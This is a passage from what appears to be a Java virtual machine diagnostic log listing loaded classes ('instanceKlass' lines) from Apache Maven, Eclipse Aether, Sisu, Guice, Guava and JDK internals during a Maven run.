org/eclipse/aether/named/NamedLockFactory\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/StaticNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/GAVNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileStaticNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileHashingGAVNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileGAVNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NameMapper\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/DiscriminatingNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapterFactoryImpl\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapterFactory\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/legacy/DefaultSyncContextFactory\ninstanceKlass org/eclipse/aether/impl/SyncContextFactory\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/DefaultSyncContextFactory\ninstanceKlass org/eclipse/aether/spi/synccontext/SyncContextFactory\ninstanceKlass java/lang/Deprecated\ninstanceKlass org/eclipse/aether/internal/impl/slf4j/Slf4jLoggerFactory\ninstanceKlass org/eclipse/aether/internal/impl/resolution/ArtifactResolverPostProcessorSupport\ninstanceKlass org/eclipse/aether/internal/impl/filter/RemoteRepositoryFilterSourceSupport\ninstanceKlass org/eclipse/aether/spi/connector/filter/RemoteRepositoryFilterSource\ninstanceKlass org/eclipse/aether/spi/resolution/ArtifactResolverPostProcessor\ninstanceKlass org/eclipse/aether/internal/impl/filter/DefaultRemoteRepositoryFilterManager\ninstanceKlass org/eclipse/aether/impl/RemoteRepositoryFilterManager\ninstanceKlass org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCollector\ninstanceKlass org/eclipse/aether/impl/DependencyCollector\ninstanceKlass org/eclipse/aether/internal/impl/checksum/TrustedToProvidedChecksumsSourceAdapter\ninstanceKlass org/eclipse/aether/spi/checksums/ProvidedChecksumsSource\ninstanceKlass org/eclipse/aether/internal/impl/checksum/FileTrustedChecksumsSourceSupport\ninstanceKlass org/eclipse/aether/spi/checksums/TrustedChecksumsSource\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithmFactorySupport\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithmFactory\ninstanceKlass org/eclipse/aether/internal/impl/checksum/DefaultChecksumAlgorithmFactorySelector\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithmFactorySelector\ninstanceKlass org/eclipse/aether/internal/impl/SimpleLocalRepositoryManagerFactory\ninstanceKlass org/eclipse/aether/internal/impl/Maven2RepositoryLayoutFactory\ninstanceKlass org/eclipse/aether/spi/connector/layout/RepositoryLayoutFactory\ninstanceKlass org/eclipse/aether/spi/log/LoggerFactory\ninstanceKlass org/eclipse/aether/internal/impl/LoggerFactoryProvider\ninstanceKlass org/eclipse/aether/internal/impl/EnhancedLocalRepositoryManagerFactory\ninstanceKlass org/eclipse/aether/spi/localrepo/LocalRepositoryManagerFactory\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdatePolicyAnalyzer\ninstanceKlass org/eclipse/aether/impl/UpdatePolicyAnalyzer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdateCheckManager\ninstanceKlass org/eclipse/aether/impl/UpdateCheckManager\ninstanceKlass java/lang/Long$LongCache\ninstanceKlass org/eclipse/aether/internal/impl/DefaultTransporterProvider\ninstanceKlass org/eclipse/aether/spi/connector/transport/TransporterProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultTrackingFileManager\ninstanceKlass org/eclipse/aether/internal/impl/TrackingFileManager\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositorySystemLifecycle\ninstanceKlass org/eclipse/aether/impl/RepositorySystemLifecycle\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositorySystem\ninstanceKlass org/eclipse/aether/RepositorySystem\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryLayoutProvider\ninstanceKlass org/eclipse/aether/spi/connector/layout/RepositoryLayoutProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryEventDispatcher\ninstanceKlass org/eclipse/aether/impl/RepositoryEventDispatcher\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryConnectorProvider\ninstanceKlass org/eclipse/aether/impl/RepositoryConnectorProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRemoteRepositoryManager\ninstanceKlass org/eclipse/aether/impl/RemoteRepositoryManager\ninstanceKlass org/eclipse/aether/internal/impl/DefaultOfflineController\ninstanceKlass org/eclipse/aether/impl/OfflineController\ninstanceKlass org/eclipse/aether/internal/impl/DefaultMetadataResolver\ninstanceKlass org/eclipse/aether/impl/MetadataResolver\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalRepositoryProvider\ninstanceKlass org/eclipse/aether/impl/LocalRepositoryProvider\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposerFactorySupport\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposerFactory\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalPathComposer\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathComposer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultInstaller\ninstanceKlass org/eclipse/aether/impl/Installer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultFileProcessor\ninstanceKlass org/eclipse/aether/spi/io/FileProcessor\ninstanceKlass org/eclipse/aether/internal/impl/DefaultDeployer\ninstanceKlass org/eclipse/aether/impl/Deployer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultChecksumPolicyProvider\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumPolicyProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultArtifactResolver\ninstanceKlass org/eclipse/aether/impl/ArtifactResolver\ninstanceKlass org/eclipse/aether/connector/basic/BasicRepositoryConnectorFactory\ninstanceKlass org/eclipse/aether/spi/locator/Service\ninstanceKlass org/eclipse/aether/spi/connector/RepositoryConnectorFactory\ninstanceKlass org/apache/maven/model/validation/DefaultModelValidator\ninstanceKlass org/apache/maven/model/validation/ModelValidator\ninstanceKlass org/apache/maven/model/superpom/DefaultSuperPomProvider\ninstanceKlass org/apache/maven/model/superpom/SuperPomProvider\ninstanceKlass org/apache/maven/model/profile/activation/PropertyProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/OperatingSystemProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/JdkVersionProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/FileProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/ProfileActivator\ninstanceKlass org/apache/maven/model/profile/DefaultProfileSelector\ninstanceKlass org/apache/maven/model/profile/ProfileSelector\ninstanceKlass org/apache/maven/model/profile/DefaultProfileInjector\ninstanceKlass org/apache/maven/model/profile/ProfileInjector\ninstanceKlass org/apache/maven/model/plugin/DefaultReportingConverter\ninstanceKlass org/apache/maven/model/plugin/ReportingConverter\ninstanceKlass org/apache/maven/model/plugin/DefaultReportConfigurationExpander\ninstanceKlass org/apache/maven/model/plugin/ReportConfigurationExpander\ninstanceKlass org/apache/maven/model/plugin/DefaultPluginConfigurationExpander\ninstanceKlass org/apache/maven/model/plugin/PluginConfigurationExpander\ninstanceKlass org/apache/maven/model/path/ProfileActivationFilePathInterpolator\ninstanceKlass org/apache/maven/model/path/DefaultUrlNormalizer\ninstanceKlass org/apache/maven/model/path/UrlNormalizer\ninstanceKlass org/apache/maven/model/path/DefaultPathTranslator\ninstanceKlass org/apache/maven/model/path/PathTranslator\ninstanceKlass org/apache/maven/model/path/DefaultModelUrlNormalizer\ninstanceKlass org/apache/maven/model/path/ModelUrlNormalizer\ninstanceKlass org/apache/maven/model/path/DefaultModelPathTranslator\ninstanceKlass org/apache/maven/model/path/ModelPathTranslator\ninstanceKlass org/apache/maven/model/normalization/DefaultModelNormalizer\ninstanceKlass org/apache/maven/model/normalization/ModelNormalizer\ninstanceKlass org/apache/maven/model/management/DefaultPluginManagementInjector\ninstanceKlass org/apache/maven/model/management/PluginManagementInjector\ninstanceKlass org/apache/maven/model/management/DefaultDependencyManagementInjector\ninstanceKlass org/apache/maven/model/management/DependencyManagementInjector\ninstanceKlass org/apache/maven/model/locator/DefaultModelLocator\ninstanceKlass org/apache/maven/model/io/DefaultModelWriter\ninstanceKlass org/apache/maven/model/io/ModelWriter\ninstanceKlass org/apache/maven/model/io/DefaultModelReader\ninstanceKlass org/apache/maven/model/interpolation/AbstractStringBasedModelInterpolator\ninstanceKlass org/apache/maven/model/interpolation/ModelInterpolator\ninstanceKlass org/apache/maven/model/interpolation/DefaultModelVersionProcessor\ninstanceKlass org/apache/maven/model/interpolation/ModelVersionProcessor\ninstanceKlass org/apache/maven/model/inheritance/DefaultInheritanceAssembler\ninstanceKlass org/apache/maven/model/inheritance/InheritanceAssembler\ninstanceKlass org/apache/maven/model/composition/DefaultDependencyManagementImporter\ninstanceKlass org/apache/maven/model/composition/DependencyManagementImporter\ninstanceKlass sun/reflect/annotation/AnnotationParser$$Lambda$67\ninstanceKlass org/apache/maven/model/building/DefaultModelProcessor\ninstanceKlass org/apache/maven/model/building/ModelProcessor\ninstanceKlass org/apache/maven/model/io/ModelReader\ninstanceKlass org/apache/maven/model/locator/ModelLocator\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder\ninstanceKlass org/apache/maven/model/building/ModelBuilder\ninstanceKlass org/apache/maven/cli/internal/BootstrapCoreExtensionManager\ninstanceKlass org/apache/maven/cli/configuration/SettingsXmlConfigurationProcessor\ninstanceKlass org/apache/maven/cli/configuration/ConfigurationProcessor\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsWriter\ninstanceKlass org/apache/maven/toolchain/io/ToolchainsWriter\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsReader\ninstanceKlass org/apache/maven/toolchain/io/ToolchainsReader\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuilder\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuilder\ninstanceKlass java/lang/invoke/LambdaForm$Hidden\ninstanceKlass org/apache/maven/execution/MavenSession\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$ScopeState\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$$Lambda$66\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope\ninstanceKlass jdk/internal/reflect/ClassDefiner$1\ninstanceKlass jdk/internal/reflect/ClassDefiner\ninstanceKlass jdk/internal/reflect/MethodAccessorGenerator$1\ninstanceKlass jdk/internal/reflect/Label$PatchInfo\ninstanceKlass jdk/internal/reflect/Label\ninstanceKlass jdk/internal/reflect/UTF8\ninstanceKlass jdk/internal/reflect/ClassFileAssembler\ninstanceKlass jdk/internal/reflect/ByteVectorImpl\ninstanceKlass jdk/internal/reflect/ByteVector\ninstanceKlass jdk/internal/reflect/ByteVectorFactory\ninstanceKlass jdk/internal/reflect/AccessorGenerator\ninstanceKlass jdk/internal/reflect/ClassFileConstants\ninstanceKlass org/apache/maven/plugin/internal/AbstractMavenPluginDependenciesValidator\ninstanceKlass org/apache/maven/plugin/internal/MavenPluginDependenciesValidator\ninstanceKlass org/apache/maven/plugin/internal/AbstractMavenPluginParametersValidator\ninstanceKlass org/apache/maven/plugin/internal/MavenPluginConfigurationValidator\ninstanceKlass org/apache/maven/eventspy/AbstractEventSpy\ninstanceKlass org/apache/maven/eventspy/EventSpy\ninstanceKlass org/apache/maven/plugin/PluginValidationManager\ninstanceKlass org/apache/maven/plugin/DefaultMojosExecutionStrategy\ninstanceKlass org/apache/maven/plugin/MojosExecutionStrategy\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDependencyResolver\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultProjectArtifactFactory\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectArtifactFactory\ninstanceKlass org/apache/maven/internal/aether/ResolverLifecycle\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory\ninstanceKlass org/apache/maven/extension/internal/CoreExportsProvider\ninstanceKlass org/apache/maven/plugin/MojoExecution\ninstanceKlass org/apache/maven/project/MavenProject\ninstanceKlass org/apache/maven/execution/MojoExecutionEvent\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope$ScopeState\ninstanceKlass org/apache/maven/execution/scope/MojoExecutionScoped\ninstanceKlass com/google/inject/RestrictedBindingSource$Permit\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope$1\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope\ninstanceKlass org/apache/maven/execution/MojoExecutionListener\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeBinder$1\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionRequestPopulator\ninstanceKlass org/apache/maven/execution/MavenExecutionRequestPopulator\ninstanceKlass org/apache/maven/classrealm/DefaultClassRealmManager\ninstanceKlass org/apache/maven/classrealm/ClassRealmManager\ninstanceKlass org/apache/maven/SessionScoped\ninstanceKlass org/apache/maven/ReactorReader\ninstanceKlass org/apache/maven/repository/internal/MavenWorkspaceReader\ninstanceKlass org/eclipse/aether/repository/WorkspaceReader\ninstanceKlass org/eclipse/sisu/space/WildcardKey$QualifiedImpl\ninstanceKlass org/eclipse/sisu/space/WildcardKey$Qualified\ninstanceKlass org/eclipse/sisu/space/WildcardKey\ninstanceKlass org/eclipse/sisu/Typed\ninstanceKlass org/sonatype/inject/EagerSingleton\ninstanceKlass org/eclipse/sisu/EagerSingleton\ninstanceKlass org/sonatype/inject/Mediator\ninstanceKlass org/eclipse/sisu/inject/TypeArguments\ninstanceKlass org/apache/maven/DefaultArtifactFilterManager\ninstanceKlass org/apache/maven/ArtifactFilterManager\ninstanceKlass org/eclipse/sisu/space/asm/Context\ninstanceKlass org/eclipse/sisu/space/asm/Attribute\ninstanceKlass org/eclipse/sisu/space/asm/AnnotationVisitor\ninstanceKlass org/eclipse/sisu/space/asm/ClassReader\ninstanceKlass org/eclipse/sisu/space/IndexedClassFinder$1\ninstanceKlass org/eclipse/sisu/inject/Logs$SLF4JSink\ninstanceKlass org/eclipse/sisu/inject/Logs$Sink\ninstanceKlass org/eclipse/sisu/inject/Logs\ninstanceKlass org/eclipse/sisu/space/QualifierCache\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeVisitor$ComponentAnnotationVisitor\ninstanceKlass org/eclipse/sisu/space/AnnotationVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeVisitor\ninstanceKlass org/eclipse/sisu/space/ClassVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanModule$PlexusXmlBeanSource\ninstanceKlass org/eclipse/sisu/inject/DescriptionSource\ninstanceKlass org/eclipse/sisu/inject/AnnotatedSource\ninstanceKlass org/eclipse/sisu/Description\ninstanceKlass org/eclipse/sisu/Hidden\ninstanceKlass org/eclipse/sisu/Priority\ninstanceKlass org/eclipse/sisu/inject/Sources\ninstanceKlass com/google/inject/internal/MoreTypes$ParameterizedTypeImpl\ninstanceKlass sun/reflect/generics/reflectiveObjects/ParameterizedTypeImpl\ninstanceKlass sun/reflect/generics/reflectiveObjects/LazyReflectiveObjectGenerator\ninstanceKlass com/google/inject/Key$AnnotationInstanceStrategy\ninstanceKlass com/google/inject/name/NamedImpl\ninstanceKlass com/google/inject/name/Named\ninstanceKlass com/google/inject/name/Names\ninstanceKlass org/apache/maven/wagon/Wagon\ninstanceKlass org/apache/maven/toolchain/ToolchainsBuilder\ninstanceKlass org/apache/maven/toolchain/ToolchainManagerPrivate\ninstanceKlass org/apache/maven/toolchain/ToolchainManager\ninstanceKlass org/apache/maven/toolchain/ToolchainFactory\ninstanceKlass org/apache/maven/settings/MavenSettingsBuilder\ninstanceKlass org/apache/maven/rtinfo/RuntimeInformation\ninstanceKlass org/apache/maven/project/artifact/ProjectArtifactsCache\ninstanceKlass org/apache/maven/project/artifact/MavenMetadataCache\ninstanceKlass org/apache/maven/project/ProjectRealmCache\ninstanceKlass org/apache/maven/project/ProjectDependenciesResolver\ninstanceKlass org/apache/maven/project/ProjectBuildingHelper\ninstanceKlass org/apache/maven/project/ProjectBuilder\ninstanceKlass org/apache/maven/project/MavenProjectHelper\ninstanceKlass org/apache/maven/plugin/version/PluginVersionResolver\ninstanceKlass org/apache/maven/plugin/prefix/PluginPrefixResolver\ninstanceKlass org/apache/maven/plugin/internal/PluginDependenciesResolver\ninstanceKlass org/apache/maven/plugin/PluginRealmCache\ninstanceKlass org/apache/maven/plugin/PluginManager\ninstanceKlass org/apache/maven/plugin/PluginDescriptorCache\ninstanceKlass org/apache/maven/plugin/PluginArtifactsCache\ninstanceKlass org/apache/maven/plugin/MavenPluginManager\ninstanceKlass org/apache/maven/plugin/LegacySupport\ninstanceKlass org/apache/maven/plugin/ExtensionRealmCache\ninstanceKlass org/apache/maven/plugin/BuildPluginManager\ninstanceKlass org/apache/maven/model/plugin/LifecycleBindingsInjector\ninstanceKlass org/apache/maven/lifecycle/internal/builder/BuilderCommon\ninstanceKlass org/apache/maven/lifecycle/internal/builder/Builder\ninstanceKlass org/apache/maven/lifecycle/internal/MojoExecutor\ninstanceKlass org/apache/maven/lifecycle/internal/MojoDescriptorCreator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleTaskSegmentCalculator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleStarter\ninstanceKlass org/apache/maven/lifecycle/internal/LifecyclePluginResolver\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleModuleBuilder\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleExecutionPlanCalculator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDebugLogger\ninstanceKlass org/apache/maven/lifecycle/internal/ExecutionEventCatapult\ninstanceKlass org/apache/maven/lifecycle/internal/BuildListCalculator\ninstanceKlass org/apache/maven/lifecycle/MojoExecutionConfigurator\ninstanceKlass org/apache/maven/lifecycle/LifecycleMappingDelegate\ninstanceKlass org/apache/maven/lifecycle/LifecycleExecutor\ninstanceKlass org/apache/maven/lifecycle/LifeCyclePluginAnalyzer\ninstanceKlass org/apache/maven/lifecycle/DefaultLifecycles\ninstanceKlass org/apache/maven/graph/GraphBuilder\ninstanceKlass org/apache/maven/eventspy/internal/EventSpyDispatcher\ninstanceKlass org/apache/maven/configuration/BeanConfigurator\ninstanceKlass org/apache/maven/bridge/MavenRepositorySystem\ninstanceKlass org/apache/maven/artifact/resolver/ResolutionErrorHandler\ninstanceKlass org/apache/maven/artifact/repository/metadata/io/MetadataReader\ninstanceKlass org/apache/maven/artifact/metadata/ArtifactMetadataSource\ninstanceKlass org/apache/maven/repository/legacy/metadata/ArtifactMetadataSource\ninstanceKlass org/apache/maven/artifact/handler/manager/ArtifactHandlerManager\ninstanceKlass org/apache/maven/artifact/factory/ArtifactFactory\ninstanceKlass org/apache/maven/ProjectDependenciesResolver\ninstanceKlass org/apache/maven/Maven\ninstanceKlass org/apache/maven/artifact/handler/ArtifactHandler\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcher\ninstanceKlass org/apache/maven/lifecycle/Lifecycle\ninstanceKlass org/eclipse/sisu/space/CloningClassSpace$1\ninstanceKlass org/apache/maven/lifecycle/mapping/LifecycleMapping\ninstanceKlass org/apache/maven/repository/metadata/GraphConflictResolver\ninstanceKlass org/apache/maven/repository/metadata/GraphConflictResolutionPolicy\ninstanceKlass org/eclipse/sisu/plexus/ConfigurationImpl\ninstanceKlass org/apache/maven/repository/metadata/ClasspathTransformation\ninstanceKlass org/apache/maven/repository/legacy/resolver/transform/ArtifactTransformationManager\ninstanceKlass org/apache/maven/repository/legacy/resolver/transform/ArtifactTransformation\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/ConflictResolverFactory\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/ConflictResolver\ninstanceKlass org/apache/maven/repository/legacy/repository/ArtifactRepositoryFactory\ninstanceKlass org/apache/maven/repository/legacy/UpdateCheckManager\ninstanceKlass org/apache/maven/repository/RepositorySystem\ninstanceKlass org/apache/maven/repository/MirrorSelector\ninstanceKlass org/apache/maven/project/validation/ModelValidator\ninstanceKlass org/apache/maven/project/path/PathTranslator\ninstanceKlass org/apache/maven/project/interpolation/ModelInterpolator\ninstanceKlass org/apache/maven/project/inheritance/ModelInheritanceAssembler\ninstanceKlass org/apache/maven/project/MavenProjectBuilder\ninstanceKlass org/apache/maven/profiles/MavenProfilesBuilder\ninstanceKlass org/apache/maven/execution/RuntimeInformation\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactResolver\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactCollector\ninstanceKlass org/apache/maven/repository/legacy/resolver/LegacyArtifactCollector\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataManager\ninstanceKlass org/apache/maven/artifact/repository/layout/ArtifactRepositoryLayout\ninstanceKlass org/apache/maven/artifact/repository/ArtifactRepositoryFactory\ninstanceKlass org/apache/maven/artifact/manager/WagonManager\ninstanceKlass org/apache/maven/repository/legacy/WagonManager\ninstanceKlass org/apache/maven/artifact/installer/ArtifactInstaller\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlMetadata\ninstanceKlass org/eclipse/sisu/plexus/Roles\ninstanceKlass org/apache/maven/artifact/deployer/ArtifactDeployer\ninstanceKlass org/eclipse/sisu/plexus/Hints\ninstanceKlass org/eclipse/sisu/space/AbstractDeferredClass\ninstanceKlass org/eclipse/sisu/plexus/RequirementImpl\ninstanceKlass org/codehaus/plexus/component/annotations/Requirement\ninstanceKlass org/eclipse/sisu/space/Streams\ninstanceKlass org/eclipse/sisu/plexus/ComponentImpl\ninstanceKlass org/codehaus/plexus/component/annotations/Component\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeRegistry\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlScanner\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeBinder\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeBinder\ninstanceKlass com/google/inject/spi/InjectionRequest\ninstanceKlass org/eclipse/sisu/bean/BeanProperty\ninstanceKlass com/google/common/collect/ObjectArrays\ninstanceKlass com/google/inject/internal/Nullability\ninstanceKlass com/google/inject/internal/KotlinSupport$KotlinUnsupported$$Lambda$65\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/google/inject/internal/KotlinSupport$KotlinUnsupported\ninstanceKlass com/google/inject/internal/KotlinSupport$KotlinSupportHolder\ninstanceKlass com/google/inject/internal/KotlinSupportInterface\ninstanceKlass com/google/inject/internal/KotlinSupport\ninstanceKlass com/google/inject/spi/InjectionPoint$OverrideIndex\ninstanceKlass org/eclipse/sisu/inject/RankedBindings\ninstanceKlass org/eclipse/sisu/Mediator\ninstanceKlass sun/reflect/generics/tree/TypeVariableSignature\ninstanceKlass com/google/inject/Inject\ninstanceKlass javax/inject/Inject\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$64\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$63\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$62\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$61\ninstanceKlass java/lang/reflect/WildcardType\ninstanceKlass java/lang/reflect/TypeVariable\ninstanceKlass com/google/inject/spi/InjectionPoint$InjectableMembers\ninstanceKlass com/google/inject/spi/InjectionPoint$InjectableMember\ninstanceKlass com/google/inject/spi/InjectionPoint\ninstanceKlass java/lang/reflect/ParameterizedType\ninstanceKlass com/google/inject/internal/MoreTypes$GenericArrayTypeImpl\ninstanceKlass com/google/inject/internal/MoreTypes$CompositeType\ninstanceKlass com/google/inject/Key$AnnotationTypeStrategy\ninstanceKlass com/google/common/cache/LocalCache$StrongValueReference\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Failure\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Cancellation\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$SetFuture\ninstanceKlass com/google/common/util/concurrent/Uninterruptibles\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Waiter\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Listener\ninstanceKlass jdk/internal/reflect/UnsafeFieldAccessorFactory\ninstanceKlass java/lang/reflect/AccessibleObject$$Lambda$60\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$UnsafeAtomicHelper$1\ninstanceKlass sun/misc/Unsafe\ninstanceKlass com/google/common/util/concurrent/LazyLogger\ninstanceKlass java/util/concurrent/Executor\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$AtomicHelper\ninstanceKlass com/google/common/util/concurrent/internal/InternalFutureFailureAccess\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Trusted\ninstanceKlass com/google/common/util/concurrent/ListenableFuture\ninstanceKlass sun/reflect/annotation/AnnotationParser$$Lambda$59\ninstanceKlass java/lang/annotation/Documented\ninstanceKlass java/lang/annotation/Target\ninstanceKlass javax/inject/Named\ninstanceKlass javax/inject/Qualifier\ninstanceKlass com/google/inject/BindingAnnotation\ninstanceKlass javax/inject/Scope\ninstanceKlass com/google/inject/ScopeAnnotation\ninstanceKlass com/google/inject/internal/Annotations$AnnotationChecker\ninstanceKlass java/lang/reflect/Proxy$ProxyBuilder$1\ninstanceKlass java/lang/reflect/ProxyGenerator$ExceptionTableEntry\ninstanceKlass java/lang/reflect/ProxyGenerator$PrimitiveTypeInfo\ninstanceKlass java/lang/reflect/ProxyGenerator$FieldInfo\ninstanceKlass java/lang/reflect/ProxyGenerator$ConstantPool$Entry\ninstanceKlass java/lang/reflect/ProxyGenerator$MethodInfo\ninstanceKlass java/lang/reflect/ProxyGenerator$ProxyMethod\ninstanceKlass java/lang/reflect/ProxyGenerator$ConstantPool\ninstanceKlass java/lang/reflect/ProxyGenerator\ninstanceKlass java/lang/reflect/Proxy$$Lambda$58\ninstanceKlass java/lang/PublicMethods\ninstanceKlass java/util/Collections$1\ninstanceKlass java/lang/reflect/Proxy$ProxyBuilder\ninstanceKlass java/lang/reflect/Proxy$$Lambda$57\ninstanceKlass java/lang/reflect/Proxy\ninstanceKlass sun/reflect/annotation/AnnotationInvocationHandler\ninstanceKlass sun/reflect/annotation/AnnotationParser$1\ninstanceKlass sun/reflect/annotation/ExceptionProxy\ninstanceKlass java/lang/annotation/Inherited\ninstanceKlass java/lang/annotation/Retention\ninstanceKlass sun/reflect/annotation/AnnotationType$1\ninstanceKlass sun/reflect/annotation/AnnotationType\ninstanceKlass java/lang/reflect/GenericArrayType\ninstanceKlass sun/reflect/generics/visitor/Reifier\ninstanceKlass sun/reflect/generics/visitor/TypeTreeVisitor\ninstanceKlass sun/reflect/generics/factory/CoreReflectionFactory\ninstanceKlass sun/reflect/generics/factory/GenericsFactory\ninstanceKlass sun/reflect/generics/scope/AbstractScope\ninstanceKlass sun/reflect/generics/scope/Scope\ninstanceKlass com/google/inject/internal/Annotations$TestAnnotation\ninstanceKlass com/google/inject/internal/Annotations$AnnotationToStringConfig\ninstanceKlass com/google/common/base/Joiner$MapJoiner\ninstanceKlass com/google/common/base/Joiner\ninstanceKlass java/lang/reflect/InvocationHandler\ninstanceKlass com/google/inject/internal/Annotations\ninstanceKlass org/eclipse/sisu/Parameters\ninstanceKlass org/eclipse/sisu/wire/ParameterKeys\ninstanceKlass com/google/inject/internal/util/StackTraceElements$InMemoryStackTraceElement\ninstanceKlass com/google/inject/internal/util/StackTraceElements\ninstanceKlass org/eclipse/sisu/wire/TypeConverterCache\ninstanceKlass com/google/inject/internal/Scoping\ninstanceKlass com/google/inject/internal/InternalFactory\ninstanceKlass java/lang/StackTraceElement$HashedModules\ninstanceKlass com/google/inject/internal/InternalFlags$1\ninstanceKlass com/google/inject/internal/InternalFlags\ninstanceKlass com/google/inject/spi/ConstructorBinding\ninstanceKlass com/google/inject/internal/DelayedInitialize\ninstanceKlass com/google/inject/spi/ProviderKeyBinding\ninstanceKlass com/google/inject/spi/ProviderInstanceBinding\ninstanceKlass com/google/inject/spi/InstanceBinding\ninstanceKlass com/google/inject/spi/HasDependencies\ninstanceKlass com/google/inject/spi/LinkedKeyBinding\ninstanceKlass com/google/inject/spi/UntargettedBinding\ninstanceKlass com/google/inject/internal/BindingImpl\ninstanceKlass com/google/inject/Key$AnnotationStrategy\ninstanceKlass org/eclipse/sisu/wire/ElementAnalyzer$1\ninstanceKlass com/google/inject/util/Modules$EmptyModule\ninstanceKlass com/google/inject/util/Modules$OverriddenModuleBuilder\ninstanceKlass com/google/inject/util/Modules\ninstanceKlass java/util/stream/Nodes$ArrayNode\ninstanceKlass java/util/stream/Node$Builder\ninstanceKlass java/util/stream/Node$OfDouble\ninstanceKlass java/util/stream/Node$OfLong\ninstanceKlass java/util/stream/Node$OfInt\ninstanceKlass java/util/stream/Node$OfPrimitive\ninstanceKlass java/util/stream/Nodes$EmptyNode\ninstanceKlass java/util/stream/Node\ninstanceKlass java/util/stream/Nodes\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$56\ninstanceKlass java/util/function/IntFunction\ninstanceKlass java/util/stream/SortedOps\ninstanceKlass com/google/common/collect/Ordering\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$55\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$54\ninstanceKlass 